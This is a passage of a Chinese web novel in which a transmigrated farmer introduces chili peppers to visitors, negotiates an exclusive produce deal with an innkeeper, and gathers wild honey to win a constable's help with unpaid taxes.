沈念白想起当初的自己也是这样,谢言都劝了他,但他还是耐不住好奇,最后谢言也是这样说的。于是他也没有在劝了,“你咬一点点尝尝就是了。”
柳梦寒点了头,然后咬了一小口,辣椒一入口只觉得整个嘴巴都烧起来了,原本还有些苍白的脸马上就红了。沈念白见状忙给他舀了水,一大瓢水柳梦寒一口就喝了一半,沈念白怕他喝饱了吃不下饭,就说:“不用喝太多的水,水不解辣,在嘴里含着就行,一会儿就不辣了。”
谢言看着柳梦寒被辣得有些狼狈的样子,觉得有些好笑,“多吃几口习惯了就不辣了。”
柳梦寒似信非信,“真的吗?”
谢言没有回答,只是看向沈念白,“不行你问念白。”
沈念白回道:“确实吃多了就习惯了。”
一顿饭下来,柳梦寒没吃多少,但水喝了两大瓢,撑得一直跑茅房,沈念白看着柳梦寒惨兮兮的样子,与谢言说道:“看来明天早上还是煮清淡点。”
从茅房回来的柳梦寒刚好听到他的话,连忙说道:“不用不用,我喜欢辣椒,虽然很辣,但好过瘾。”
沈念白看着他有点不相信,“你确定觉得好过瘾?”
柳梦寒一边哈欠一边说道:“真的,辣椒简直是天赐的宝物。有生之年能吃到辣椒这等美味,才不枉来人世走一遭啊。”
听着柳梦寒文绉绉又极其夸张的话,沈念白虽然能理解,但还是怕吃坏身体,毕竟柳梦寒看起来就文文弱弱的。
“那也得慢慢来。”
28. 第 28 章
水不禁饿,跑了几趟茅房后就又觉得饿了,重新煮饭太麻烦了,于是在柳梦寒的坚持下,沈念白还是让他把剩下的麻辣鱼片和兔丁全部吃完了,辣的柳梦寒嘴巴都肿了,但他还意犹未尽。
柳梦寒一边哈气一边与沈念白说:“明天早上还是吃辣椒吧,我好喜欢辣椒。”
沈念白看着柳梦寒辣的通红的脸,和期待的神情,本来想拒绝的话又不好意思说了,于是就应了,“那行吧,不过我们早上一般不会吃得这么辣的。”
柳梦寒自然不会挑三拣四的,点头道:“都行,我头一次吃辣椒,实在太喜欢了。”
沈念白道:“我也很喜欢。”
一边说话沈念白一边收拾碗筷,柳梦寒去帮忙,沈念白也没有说什么,两人一块端着锅碗去河边洗。一路说说笑笑的,动作都慢了下来。
晚上睡觉,谢言思虑过后没有在屋里睡,而是去牛棚跟牛挤了一晚上。
牛睡得晚起得早,早上早早的就醒了,牛一醒谢言也就跟着醒了。天才刚刚亮,谢言从牛棚出来就看到沈念白也起床了。
沈念白看到谢言心里就有些内疚,但他又不知道该说什么,只是喊了声,“谢言哥。”
谢言看到他的表情就知道他在想什么,宽慰他道:“牛棚没你想得那么糟,我铺了干草还挺好的。”
沈念白看着他没有说话,谢言也没有在继续说下去,“我上山去了。”
沈念白道:“我们一起去。”
谢言觉得不妥当,虽然他们之前并不认识柳梦寒,但来者是客,将他一个人丢在家里也不好,于是他道:“你做早饭吧,吃了早饭我把柳梦寒带到县城去,也了了一档子事。”
沈念白同意了,“好,那你别走远了。”
“嗯。”
谢言拿着镰刀背着背篓上了山,现在是农忙时节,加上前几天他去县城耽误了几天,农活全都堆起来了,菜地里的草疯长要去除草,天气热了,要注意看有没有菜地缺水,缺水就要挑水去浇,长势不好的还要施肥。果树也要打理,每天还要割牛草,还有一些杂七杂八的活要干。
来到山上,看着地里的庄稼和果树,谢言心想,果子也不一定能卖出来,但庄稼是一定能收成的,于是果断的去拔草了,前几天下了一场雨,原本拔得干干净净的庄稼地里全是杂草,把庄稼的营养挤占了。
拔起来的草摔干净泥土,背回去切碎了喂鸡。
一块地的草都还没有拔完,沈念白就在喊他吃饭了,清脆的声音远远的传来,在空中扩散开去,“谢言哥,吃饭了。”
谢言直起腰,将手里的草在玉米杆上打去,同时应声,“来了。”
说完话泥土也摔得差不多了,谢言将草扔进背篓里,不知不觉已经装满满满一背篓了。谢言背起背篓就往家走,路过黄瓜棚的时候,去看了一眼,看到有两根小臂长的黄瓜,瘦不拉几了,要施肥了。
谢言将两根黄瓜都摘了,在衣服上擦了擦就吃了,咯嘣脆,虽然很瘦但汁水还是多,除了黄瓜的清香味之外还有一丝甜味,地地道道的的鲜黄瓜。
回到家谢言将背篓放在檐下,拿着黄瓜走到屋前,沈念白和柳梦寒正在吃玉米杆,谢言问道:“有黄瓜,你们吃不吃?”
柳梦寒回道:“不吃了,我吃玉米杆。”
沈念白将一截玉米杆递给谢言,“昨天忘记吃了,刚才才看到。”
谢言摆手,“不吃了,吃饭吧。”
谢言小时候大人跟他说玉米杆跟甘蔗是一样的,但自从他吃过甘蔗过后就不喜欢吃玉米杆了,玉米杆的甜度太低了,吃着没啥意思。
沈念白将玉米杆递给柳梦寒,“你等会拿到路上吃。”
柳梦寒收下了,“行,谢谢啊。”
沈念白笑道:“客气什么。”
每天的活都很重,所以早饭跟午饭晚饭都是一样的,大米饭和时蔬炒菜。最近的菜品不算丰富,只有丝瓜,大白菜,豌豆尖,小油菜之类开春就种的菜。
吃完了饭,柳梦寒还想帮着沈念白把碗筷收拾了在走,但沈念白拒绝了,“趁现在太阳还不大,等会太阳大了,热得很。”
谢言也赞同沈念白的说法,主要是他还得赶紧回来干活,于是他也道:“现在就走吧。”
听他们这么说柳梦寒也没有在坚持了,点了头,有些依依不舍的跟沈念白告别,“我以后还能来看你吗?”
沈念白回道:“当然了,咱们是朋友,你随时都可以回来。”
听到沈念白的话柳梦寒感动得不行,“谢谢你,念白。”
沈念白给他装了一篮子水果,把他喜欢的玉米杆放在最上面,“你路上渴了饿了就吃。”
柳梦寒泪眼婆娑的接了过来,“谢谢。”
眼见沈念白眼眶都开始红了,谢言赶紧说道:“走吧,天不早了。”
柳梦寒看了谢言一眼,然后跟沈念白说道:“念白,我走了。”
沈念白道:“我送你。”
谢言不在说话,抬脚就往前走了,沈念白和柳梦寒跟在他后面,一路都叽叽喳喳的,走到池塘边沈念白摘了一片荷叶给柳梦寒,“遮太阳。”
柳梦寒接过来放在了头顶上,然后看向了谢言,谢言察觉到他的视线,赶紧说道:“我不要。”说罢朝沈念白道,“回去吧,我送他就行了。”
沈念白应了声,便停住了脚步。柳梦寒也停住了脚步,与他说道:“我走了。”
“嗯,一路平安。”
柳梦寒道:“等我在县城安定下来接你去县城玩。”
沈念白应道:“好啊。”
眼见两人又要聊起来了,谢言只得又出声道:“走啦走啦。”
柳梦寒这才跟着谢言走了,两人沉默的走了一路,走到一半的时候谢言突然前面的人好像是个熟人,但隔得远有些看不清楚,所以他也没有出声。
对面是两个人,看到谢言很激动,“诶,老乡。”
谢言这才应声,“诶。”
对面的人问道:“请问灵秀山怎么去啊?”
谢言心一惊,快步向前走去,走得近了,才确定就是天悦酒楼的掌柜的钟程台。
钟程台也看清了谢言,问道:“这里就是灵秀山?”
谢言回道:“不是,我过
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来是有点事。”
钟程台玩笑道:“那我来得岂不是不巧。”
这可是财神爷,谢言连忙道:“不,您来得正是时候。”说着就转了话题,“掌柜的这边走。”
山路狭窄只能走一个人,钟程台又不认识路,必然是不可能走前面的,于是他回了谢言,“我不认识路,还是你走前面。”
柳梦寒有些疑惑的看向了谢言,谢言朝他使了个眼色,柳梦寒便什么都没有说,又跟着谢言回去了。
路上,钟程台与谢言聊天,说到了灵秀山,“地图上都没有灵秀山这个地方,我今日来也只是撞撞运气,没想到我运气倒是不错。”
谢言自然不可能说灵秀山本来就不叫灵秀山,于是他说:“灵秀山是我取的名字,它在地图上叫什么,我还真的不知道。”
钟程台道:“你自己取的名字?”
谢言回道:“是,我跟我弟弟两个人住在深山里,山林土地的名字都是我们自己取的。”
钟程台问道:“你读过书?”
谢言回道:“不曾读过。”
这话倒是让钟程台好奇了,他虽然是县城里的人,但附近村庄和山林的名字他也是知道的,大多通俗,灵秀山已经算是极为高雅的了,所以他在听说这名字是谢言取的时候下意识的认为他读过书,但现在看来只是一个意外。
钟程台的体力比不上谢言,走久了就累了,一路走走停停的,快到中午了才到了地方。
沈念白没有在家,谢言和柳梦寒给钟程台他们端了椅子,“坐着休息会儿。”
钟程台没想到会这么远,腿都走痛了,也顾不得形象了,一屁股就坐了下去。柳梦寒也很有眼力见,“我去打水。”
谢言低声与他说道:“叫念白回来做饭。”
柳梦寒点了头就匆匆走了。谢言坐在钟程台旁边,递了个蒲扇给他,“扇扇,凉快点。”
钟程台接过来说了声谢,谢言赶紧说道:“您太客气了。家里没什么吃的,我一会儿让我弟弟去山上摘点果子回来。”
钟程台客气道:“不用麻烦。”
外面只有一把扇子,“屋里还有扇子,我去拿。”谢言说罢就进屋拿了两把蒲扇出来,递了一把给钟程台的人,“来,自己做的蒲扇,样子不好看,但风还是大。”
那人接了过来,“谢谢。”
谢言笑问道:“这位哥哥怎么称呼。”
那人回道:“张佳华。”
“张哥。”
钟程台看着不远处的翠绿的山,问道:“这就是灵秀山?”
谢言顺着他的视线看过去,回道:“是,果子就是那座山上结的。”
钟程台道:“我看果树不算很多,种的都是枇杷和荔枝?”
谢言回道:“有十几个品种,现在只有枇杷和荔枝熟了。”
钟程台道:“这里的水果要比外面的熟得早些。”
谢言道:“这我就不知道了,我们基本上不跟外面的人打交道。”
钟程台十分诧异的看了谢言一眼,然后起了身问道:“方便去山上看看吗?”
“当然。”
29. 第 29 章
看得出来钟程台鲜少来山里,对什么都好奇,一直在问,“这个是什么?”“这个是什么?”“这个是什么?”
谢言顺着他手指的方向一一作答,“这个是玉米,这个是红薯,那个西红柿。”
钟程台微微敛眉,“这些名字都是你们自己取的?”
这话把谢言问卡壳了,但之前都说过他们没有跟外面的人过多的接触,于是他就点了头,“嗯。”
钟程台一副了然的表情,这就难怪了。
走过菜地来到枇杷树下,今年枇杷结得多,就算摘了几次现在树上还有很多,只不过最好的那些都已经被摘过一遍,现在树上的都稍微要小些。
谢言去摘枇杷一边热情的说道:“随便摘。”谢言摘了一个大点的枇杷递给了钟程台,老老实实的说道,“之前摘过了好几次,现在树上的没有昨天拿去县城的大,但味道都是一样的。”
钟程台接过他手里的枇杷,与张佳华玩笑的说道:“你不是一直很想吃灵秀山的枇杷吗,现在可以吃了。”
谢言接了话,“吃啊,随便吃,这么多我们就两三个人也吃不完,不然我也不会想着拿去县城卖了。”
张佳华笑着应着,也去摘枇杷,钟程台吃完了一个就没有在吃了,开始与谢言说话,“你一直在山里,怎么知道要去县城卖枇杷呢?”
谢言如实回道:“虽然我们一直住在山里,但是布料,盐自己弄不出来,所以我每年都会捡蝉蜕去县城卖一次,卖了钱买布和盐。”
张佳华边吃边赞叹,“这枇杷确实好吃,比一般的枇杷好吃多了。”
谢言笑道:“好吃就多吃点,等会回去的时候在装点走。”
张佳华笑得眼睛都快看不见了,玩笑道:“老板大气。”
谢言可担不起这声老板,他连忙道:“张哥说笑了,我只是个小农民而已,卖不出去也就烂地里了。”
钟程台道:“往前面走走看看。”
“行。”
钟程台在前面走,谢言跟在他后面,张佳华还在摘枇杷,见他们走了,连忙摘了一串拿着追了上去。
前面就是荔枝树,现在荔枝也开始熟了,红彤彤一串串的挂在枝头,凑近了还能闻到荔枝的香气。
钟程台摘了一个,从尾巴处一就掰开了,露出晶莹剔透淌着汁水的果肉来,鲜甜的果香味喷涌出来,将空气都染甜了。
钟程台吃完后笑着说道:“都说岭南的荔枝好吃,但在我看来还是灵秀山的荔枝略高一筹。”
谢言表面说着过奖,心里却想,这可是从现代来的树苗,经过科学家育种筛选出来的,肯定要比纯天生的要好吃。
看过了荔枝树,继续往前走,前面是芒果树,只不过芒果还没有熟,虽然结得多,但全都是青的,尝不了就没啥看头了。
其他的水果全都没熟,光看树也没用,于是钟程台只是走进简单的看了一下就看完了。
走了半天的路,几人都饿了,谢言看着屋里的炊烟已经慢慢熄灭了,于是向钟程台说道:“钟掌柜,家里备了些粗茶淡饭,先回去吃饭吧。”
钟程台听到谢言的话,笑着道:“你还说你没读过书,粗茶淡饭都知道。”
谢言道:“不敢相瞒,我确实没有读过书,但却有一段奇遇。”
钟程台顺着他的话好奇的问道:“什么奇遇?”
谢言卖了个关子,“这事有点悬乎,吃饭的时候容我慢慢到来。”
这么累,谢言笃定钟程台现在也没有心思听他说话,果然钟程台点了头,“好,那就慢慢说。”
几人都累了,除了张佳华一直在吃水果,发出声响外,谢言和钟程台都没有在说话了,其实谢言倒不是很累,只是钟程台看着就累得不行,所以谢言也没有讨嫌的非要去跟人家说话。
谢言的时间估算得很好,回家的时候沈念白和柳梦寒刚刚把饭做好。
见到谢言他们回来,沈念白扫过了钟程台和张佳华后,视线落在谢言身上,喊了声,“谢言哥。”
谢言介绍道:“这位是天悦酒楼的钟掌柜,这位是张哥。”
沈念白和柳梦寒客气的喊了声,“钟掌柜,张哥。”
张佳华赶紧摆手,“客气客气。”
谢言继续介绍,“这位是我弟弟沈念白,这位是我弟弟的朋友柳梦寒。”
钟程台点了头,谢言道:“快来坐吧。”
沈念白也一起招呼客人,“饭做好了,没什么好吃的菜,钟掌柜别嫌弃。”
钟程台客气的回道:“诶,可千万别这样说,我好几次出去收账,在农家吃的饭比我们酒楼大厨做的还好吃。”
家里只有三把椅子,桌子也不大,沈念白和柳梦寒就没有上桌,钟程台不明白情况,还喊他们,“坐下一起吃啊。挤挤没事的。”
沈念白道:“哦,我们还有点事,你们先吃不用管我们。”说完就提着篮子走了,柳梦寒也赶紧跟了上去。
钟程台看见两人急匆匆的背影,还嘀咕,“这么急啊?”
谢言望着沈念白,心里有些不好受,但很快就压下去了,调整好情绪与钟程台说道:“我们吃饭吧,准备得仓促,连鸡也没杀一只。”
钟程台道:“别那么客气。”
乡村就是有什么就吃什么,虽然还是那些菜,但看得出来沈念白已经尽可能做得像样了,来不及杀鸡杀鸭,就煮了一条鱼。麻辣鱼片,还煮了白菜和豌豆尖在里面,丝瓜鸡蛋汤,全是鸡蛋都快把丝瓜遮完了。炝炒白菜,青红辣椒白菜都切成丝,颜色鲜艳,香味很浓,还有两个不辣的菜,清炒豌豆尖和水煮毛豆。刚刚从地里摘回来的鲜嫩毛豆,用水煮只用加一丁点的盐就足够好吃。
钟程台夹了一筷子炝炒白菜,一入口当即就皱了眉,这味道?
谢言的注意力全在他身上,见他皱眉连忙问道:“怎么了?”
炝炒的辣度并不大,但是钟程台从没有吃过辣椒,一时间还是接受不了,直接就吐到了地上。这个举动把谢言和张佳华都吓到了,张佳华连忙去扶他,“掌柜的,你怎么样了?”
谢言有些
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无措,好在钟程台摆了摆手,看起来并没有要翻脸的意思。
钟程台指着炝炒白菜里的红色辣椒问道:“这是什么东西?”
谢言回道:“辣椒。”
张佳华也懵了,“辣椒是什么?”
这谢言也不知道该怎么解释了,“辣椒就是辣椒啊。”为了说明辣椒并没有毒,谢言紧接着说道,“这是我们在山上发现的,我们已经吃了很多年了,除了味道刺激些,没有别的问题。”
解释完谢言就夹了一筷子炝炒白菜吃了,他吃辣吃惯了,这点辣度对他来说完全没有影响,几口嚼完就吞下去了。
见谢言都吃了,钟程台这才肯定这东西真能吃,他缓和气氛的说道:“闻着倒是香。”
张佳华也附和道:“是挺香的,我从来没有闻到过这种香气,真是别具一格。”
谢言诧异道:“这东西外面没有吗?”
钟程台还在打量桌上的菜,没有要说话的意思,张佳华便回道:“没有,不仅仅是辣椒,你这山上的好多东西外面都没有。”
谢言诧异,“真的?”
张佳华肯定的点头,“至少我从来没有见过,连听都没有听说过。”
谢言有些懵,赶紧问了系统, ‘你不是说不符合这个时代的东西都没有吗,为什么他们连辣椒都没有听说过啊?’
系统回道,‘有,只是没有传到这里来。’
谢言明白了,只要这个时代地球上出现了这种物种系统商城里就有,地域因素并不在系统考虑的范围内。
牛逼。
谢言知道了原因,赶紧补救,“那快别吃了,我重新炒两个菜。”
钟程台道:“不用了,初尝不适应,现在回过味来还挺不错的。”
张佳华也道:“这么香应该味道挺好的,我尝尝。”张佳华说完就夹了一块鱼片。放了足足辣椒花椒的鱼片,辅以葱姜大蒜用热油浇的,这原本是谢言的拿手菜,后来教给沈念白了,沈念白很会做饭,做出来比谢言这个老师还要好吃。
张佳华只吃了一口就瞪大了眼睛,辣得不停的吸气但还是抑制不住的竖起了大拇指,“好吃,好好吃。”
张佳华是钟程台的心腹,天悦酒楼的菜随他吃,但钟程台还从没有看过他对某道菜这么喜欢,怀着好奇的心也夹了一块鱼片。
麻辣鲜香的味道像是烟花在舌尖绽开,痛感明显但又格外诱人,这种陌生又刺激的味道让钟程台瞬间着迷,确实非常好吃,痛也变成了一种快乐。
辣椒,可真是个好东西。
钟程台的嘴角微微扬了起来,谢言看着他颇显诡异的表情,担心的问道:“钟掌柜,你没事吧?”
钟程台哈着气,摇头说道:“没事啊。”
你看着可不像没事的样子,谢言在心里接了话,但没有说出来,他道:“我去给你倒水。”
钟程台道:“谢了。”
虽然今天钟程台一直都很客气,但谢言明显感觉到他的态度此时才是真的软了。
“没事。”
30. 第 30 章
钟程台和张佳华辣得涕泗横流连话都说不出来了,但却将一桌子的菜吃完了,谢言都没怎么吃,主要是他太担心钟程台和张佳华辣出毛病了,一直在给两人打水,除了喝还洗脸。
他们吃完了饭,沈念白和柳梦寒摘果子也回来了,看到两人辣得这么惨,沈念白没有底气的看向了谢言,谢言递给他一个安抚的眼神,沈念白这才不担心了。
谢言将篮子接过来,招呼着钟程台和张佳华,“钟掌柜,张哥,坐过来吃水果。”
两人辣得不行,也没有客气,起身就走了过去。沈念白和柳梦寒体贴的给他俩端了椅子。
张佳华道了谢,“谢谢啊。”
沈念白笑着应道:“不客气。”
沈念白和柳梦寒去收拾碗筷,谢言三人在旁边坐着吃水果,吃了好一会儿才没那么辣了,平复了过后就开始聊正事了,钟程台问道:“刚才你说你有一段奇遇?”
“是。”谢言将早已经想好的说辞娓娓道来,“我一岁时被山中的野狼叼走,被野狼养到十四岁,跟着野狼进村偷鸡的时候被村民发现,通过滴血认亲才找回了亲人,但我的家人嫌弃从小被野狼养大不通人性,于是给了我三匹荒山断绝了与我的关系。”
谢言说到这儿的时候停了下来,张佳华追问道:“然后呢?”
“这些都不算什么,我接下来要说的才是我的奇遇。”
张佳华完全不认同他的说法,“不不不,你之前的经历就已经够离奇了。”
谢言笑了笑,没有与他辩驳只是继续说道:“因为见到了正常的人,我也就知道自己是不正常的,所以我从村里回到山里就存了死志。我绝食了三天,将死未死的时候眼前突然闪过一片白光,白光中出现了老先生,他伸出手在我眉心点了一下,随即拂尘一甩,一片金光落在了荒山上。
我醒过来后就开了智,原本空荡荡的脑中就被填满了,从此有了安身立命的能力。”
谢言的故事讲到这里就结束了,钟程台和张佳华完全听震惊了,张佳华问道:“什么样子的老先生啊?”
谢言回道:“我记得是一个他长得白胡子,身边有祥云围绕,看着就很庄严,手里拿着一柄如意。”
越听张佳华的眼睛瞪得越大,他不敢置信的看向钟程台,连声音都放低了,“掌柜的,这莫不是灵宝天尊吧?”
钟程台比他好不到哪里去,但好歹面上还稳得住,只是点头的时候略显郑重,“听起来像。”
谢言佯装的叹了口气,“我也知道这事太过匪夷所思,如果不是真切的发生在我身上我也不会相信的。”
但钟程台的反应却让他意外,他说:“我信。”
这么痛快倒是让谢言觉得有些不真实了,毕竟这话的离奇程度太高了,连写在话本子里都得标明是传说的程度,钟程台竟然这么轻易就接受了。
后来谢言才知道原来他最开始去找钟程台的那天,他一走钟程台就让人去查了他的背景,前半段跟他说的一模一样,加上谢言的变化这么大,除了神迹钟程台也想不出有别的可能了。
谢言笑着道:“多谢钟掌柜信任。”
该了解的都了解了,钟程台这才说起了他此行的目的,“谢言,你昨天说的话我认真的考虑过了,我愿意跟你合作,不过我有一个条件。”
商谈阶段,什么话都可以说,谢言点头,“您说。”
钟程台指着他们面前的三座山,“这座山都是你的是吧?”
谢言回道:“是。”
钟程台道:“我要你以后山上所产的物品只能卖给我,你只能与我做生意。”
谢言没想到钟程台会提这么苛刻的条件,一时有些为难,“这...”
钟程台大约也猜到他不会痛快的答应,又与他说道:“天悦酒楼不仅仅只有你看到的一家,我们还有许多的分店,最远的一家开在省城,你不用担心以后产量上来我要不完。”
谢言倒是没想这茬,钟程台继续说道:“但凡卖货都想卖个好价钱,我也答应你绝对不会让你吃亏。”
钟程台说话的时候看向了谢言,谢言不知道说什么就笑了笑,钟程台见他还不说话,又接着说了下去,“谢言,你要知道,有些东西就是要稀缺才能卖得起价钱,如果满大街都是,就是顶天的货也叫不起价。”
谢言懂他的说的道理,专供也省了很多的麻烦,但现在还有一个问题,“那这个价钱?”
钟程台道:“你这里的货种类繁多,也没有在市场上流通过,定价我得回去具体规划。你也可以说说你的想法。”
谢言想了想,“不管什么种类,我要你售价的三成。”
钟程台与他讨价还价,“三成太多了,你这里只是原材料,我不仅只是单纯的加工还要菜品创新,新鲜的果蔬损耗也大,刨除这些成本,连我都没有三成的利。一成我觉得刚好。”
谢言微微敛眉,“一成太低了,两成最低了。”
钟程台揉了揉眉心,五官都快皱成一团了,喃喃自语道:“两成。”
谢言见他不想答应,与他说道:“钟掌柜,你也知道我的货好,要不了多久就能把名声打出去,那时候人人都知道灵秀山的果子好吃,我想与人做生意不是件难事。我想跟天悦酒楼做生意,也是看中了天悦酒楼的规模,我这个生意不是一锤子买卖,小规模的酒楼可能开不走了,我本质上只是个农民,找伙伴就想合作到我干不动那天的那种。”
钟程台见他说得诚恳也在理,终于才点了头,“好,那就按你说的两成,咱们按月结账。”
谢言觉得他在讲讲三成也是有机会的,不过他还是没有在讲下去了,他确实就只是个小农民,没有商人那么重利。他也确实想一直合作下去的,谈生意太耽误种田的时间了,他今天就又耽误了一天了。
条件讲好了,接下来就该签契约,不过今天还签不成,因为谢言家里没有纸笔
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,而钟程台他们也没有带来。
钟程台道:“我回去将契约写好,明天让佳华给你送过来。”
谢言自然不好意思让人家给送来,于是就说:“山路难行,明天还是我去县城找你。”
钟程台摆手道:“山路是不好走,但契约签了这条路就得常走了,明天我让佳华带几个人过来,除了带契约过来,也摘果子。”
谢言这才点了头,“行。”
契约的事谈妥后钟程台又闲聊着问道:“谢老弟,你打算什么时候把剩下的山开发出来?”
能赚钱,谢言自然也是想早点把荒山全部开发出来的,不过现在就他和沈念白两个人,现有的活都干不完,更别说开荒了,于是他只能说道:“现在忙不过来,等手头富裕了在请人来干。”
他这一说钟程台就明白了,于是主动提出来说:“咱们签了契约,按道理我也该交定金的,明天我先付二十两作为定金,你也早些把荒山开发出来。”
有钱不赚是傻子,谢言点了头,笑着道:“那就多谢钟掌柜了。”
钟程台道:“咱们都是合作伙伴了,叫钟掌柜太生分了,看起来我虚长几岁,叫一声老哥便是。”
谢言从善如流,“钟大哥。”
钟程台见他这么上道也很高兴,又闲聊了一会儿就准备离开了,谢言起身相送,沈念白和柳梦寒也来送客,“钟掌柜慢走。”
熟了钟程台说话也稍微随意了些,他朝沈念白和柳梦寒点了头,“别叫钟掌柜了,都循着谢老弟叫大哥就是。”
沈念白和柳梦寒闻言看向了谢言,见谢言点了头他们才喊了一声,“钟大哥。”
钟程台笑着应道:“诶,行,都回去吧,别送了。”
“钟大哥慢走。”
沈念白和柳梦寒没送,但谢言还是送了钟程台,路上钟程台与谢言闲话,“这里不仅钟灵毓秀还人杰地灵,我本以为谢老弟的长相已经到顶了,没想到你的两位弟弟长相万里挑一,许配了人家没有?”
谢言回道:“我们住在深山里,别说许配人家了,平时连个人影儿都见不到。”
钟程台点头,“如此相貌不被窥见也是件好事。”
谢言心头微微一震,他对钟程台瞬间就警惕了起来,可见钟程台神情坦荡不像有坏心思,他问道:“钟大哥有何指教?”
钟程台道:“闲聊而已,我身边朋友不少,人品都不错,你若是愿意我可以在中间牵红线。”
说起这个话题谢言的心里泛起一丝抵触,他道:“这事我做不到主,还得问问我弟弟他自己的意思,”
“也是,婚姻大事不可儿戏。”钟程台附和了一句后就转了话题,“作为生意人,哥哥我提醒你一句。你这山可是座宝山,日后必定招人惦记,你可要把地契收好,赚了钱也要按时纳税,若不按时缴纳是被官府查出来可是坐牢的大罪。”
谢言瞬间顿住了,开荒种田还要交税?
31. 第 31 章
谢言想了好一会儿才开口说道:“不瞒钟大哥,我们兄弟一直居住在深山,不知道还有这种律法。”
谢言在这个世界认识的人太少,能信得过的就只有沈念白了,可这交税户籍这些事沈念白肯定也不知道,所以谢言还是决定问问钟程台,毕竟现在他跟钟程台也算利益相关了。
谢言说这话钟程台很明显并不意外,甚至早就预料到了,他跟谢言说:“你认识王捕头,这事就不算事。”
话虽然是这样说,但是认识两个字关系太浅了,谢言担心道:“只是给王捕头送了一篮子枇杷,别的交情没有。”
钟程台笑了笑道:“有枇杷就够了,王捕头的娘最喜欢吃枇杷,你若是能去讨得她老人家的欢心,这点事完全就不算事了。”
谢言想起了昨天见到的老妇人,心里有了主意。
“多谢钟大哥指点。”
钟程台道:“你既然喊我一声大哥,咱们便是兄弟,这种生分的话往后不要在说了。”
谢言顺从的应道:“听大哥的。”
钟程台问道:“你明日可去县城找王捕头?”
谢言道:“暂时还定不下来。”
钟程台虽然不知道他在打什么主意,但他无来由的相信谢言会处理好的,于是他说:“在你这边的事情没有处理好之情暂时先不供货,明天我只让佳华把契约拿来。”
谢言道:“既然不拉货就不用单独跑一趟了,最迟后天我肯定要去县城的,到时候我先来找你签契约。”
钟程台觉得他说得有道理,就答应了,“行。送到这儿就行了,你先回去忙吧,我等你的好消息。”
谢言着急回去准备,也就没有跟钟程台客气,只说了声,“钟大哥慢走。”
“走啦。”钟程台没有犹豫,抬脚就往前走了,张佳华跟谢言挥了挥手也走了。
回家的路上谢言几乎是用跑的,风刮着他的脸,两旁的树木急急的往后退,谢言一直跑一直跑,直到看到家时才停了下来,他累得双手撑在膝盖上不停的喘气,稍微缓了一会儿就站起来继续往前走去。
谢言回家的时候沈念白和柳梦寒才刚刚吃完饭,两个人从河边洗碗回来,看到谢言沈念白欣喜的喊了声,“谢言哥。”
谢言朝他俩笑了笑,“今天辛苦你们了。”
沈念白赶紧说道,“不辛苦。谢言哥,他就是来买我们果子的人吗?”
谢言点了头,“嗯,不过现在还有点别的事没有办妥。”
沈念白问道:“什么事?”
谢言看了柳梦寒一眼,柳梦寒也是个懂眼色的,“我去河边抓条鱼晚上吃。”
谢言道:“你回去吧,我们去抓。”
“好。”柳梦寒端着锅碗就回家了。谢言看向沈念白,沈念白也很懂事的跟着他往河边走。
来到河边,谢言坐到皂角树下,抬头看向沈念白,“坐下说。”
沈念白在他对面坐了下来,这里是洗碗和洗衣服的地方,有几块大石头。
坐好后,谢言就说了起来,“我跟钟大哥谈好了,以后山里的庄稼水果都卖给他,以他卖价的两成定价。”
沈念白这些年都没有出过门,也不知道外面的价是什么样,但看谢言的神情不对劲,便问道:“两成不好吗?”
谢言实话实说,“应该挺好的。”
沈念白回道:“那你怎么不高兴?”
谢言解释道:“我之前不知道原来开荒种地是要交税的。”
交税这件事沈念白是知道的,只不过他来到荒山就把这件事忘记了,而且这么多年也没有官府来催收,渐渐的他也忘记了,现在谢言一提他就想起来了,“那现在怎么办呢?”
在回来的路上谢言已经想好对策了,他与沈念白道:“镇上王捕头的母亲有咳疾,又喜欢吃枇杷,所以我想熬一罐枇杷膏给王捕头的母亲送去。”
逃税是很严重的,沈念白很担心,“只是一罐枇杷膏就能让王捕头帮忙吗?”
谢言道:“我们要做生意,肯定会引来官府注意,与其让官府查出来必然是我们提前补交更好。”
沈念白也知道他们现在已经没有别的办法了,行与不行也只能照谢言的方法去试试了。
沈念白起了身,“好,我现在就去摘枇杷。”
谢言也起了身,“嗯,我去林子里采些蜂蜜加里头。”
谢言知道这个时代蜂蜜是很稀缺宝贵的东西,他要让王捕头帮他这么大的忙,光是枇杷肯定是不够的。
沈念白从来没有采过蜂蜜,但每到花开的季节田间地里经常都有蜜蜂出没,他还在村里的时候经常看到有人被蜜蜂蛰得膨头大脸的,就连遇上都这么危险更别说去蜂巢采蜜了。
沈念白很不放心,眉头都皱起来了,“采蜜?那也太危险了。”
谢言回道:“没事,我有办法。”
沈念白还是不放心,“我们一起去。”
谢言道:“不行,人多了容易把蜜蜂吓着,我一个人去就行了,你去摘枇杷。”
沈念白向来说不过谢言,只能应道:“好。”
两人一道往家走,回家的时候柳梦寒在门前坐着逗兔子,见到两人回来他就将兔子放下了,沈念白去背背篓,他见沈念白脸色不太好,将兔子放进兔圈里就追了上去。
谢言进屋穿上蓑衣带上草帽,将刀放在桶里,提着桶拿上火把就往山里去,这几年随着谢言的庄稼果树越种越多,开花时节来采蜜的蜜蜂也越来越多,两年前谢言就在山里看见了蜜蜂的巢穴,但之前没有来采过蜜。
来到蜂巢下,便有蜜蜂朝谢言飞了过来,倒是没有蛰人。谢言快速找了些柴火点燃后又扯了一些新鲜的杂草放在火堆上,霎时间浓烟滚滚,直往蜂巢上冲。谢言在旁边看见蜜蜂被浓烟驱赶得差不多了,趁机会爬上了树。
谢言爬树的本领是很好的,灵活得跟猴子一样,三两下就爬上去了,用刀割取装满蜂蜜的蜂巢装进木桶里。
蜂巢里还剩了几只蜜蜂没有被烟熏走,谢言一心割蜜也没有多余的手驱赶蜜蜂,手背胳膊被蛰了好几下,钻心的痛。谢言强忍着痛,取了满满一整桶的蜜这才下了树。<
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从树上下来时谢言两只手都肿得不成样子了,鼓泡泡的看起来十分吓人。害怕蜜蜂回来,谢言一刻都不敢耽搁但他的手指已经肿得弯不过来了,只能两只手环城一个圆将木桶提了起来往前跑。
这种姿势跑起来很费劲,但谢言不敢耽误只能不停的往前跑,平时没觉得路有多远,现在谢言觉得这比去县城的路还远。
谢言跑得精疲力尽实在跑不动了才停了下来,他将木桶放在地上,耳边只能听到自己的喘气声,缓了好一会儿,但并没有觉得好受些,甚至有点胸闷了。
谢言大喊了一声,“念白。”
刚喊出口就听见了沈念白的回应,“诶。”
听声音并不远,谢言大声说道:“来接我。”
“来了。”
听到沈念白的回应,谢言稍微的松了一口气,他实在没力了,一屁股就坐到了地上,山路不平怕装蜜的木桶打翻,谢言坐下去的第一件事就是紧紧的抱住了木桶。
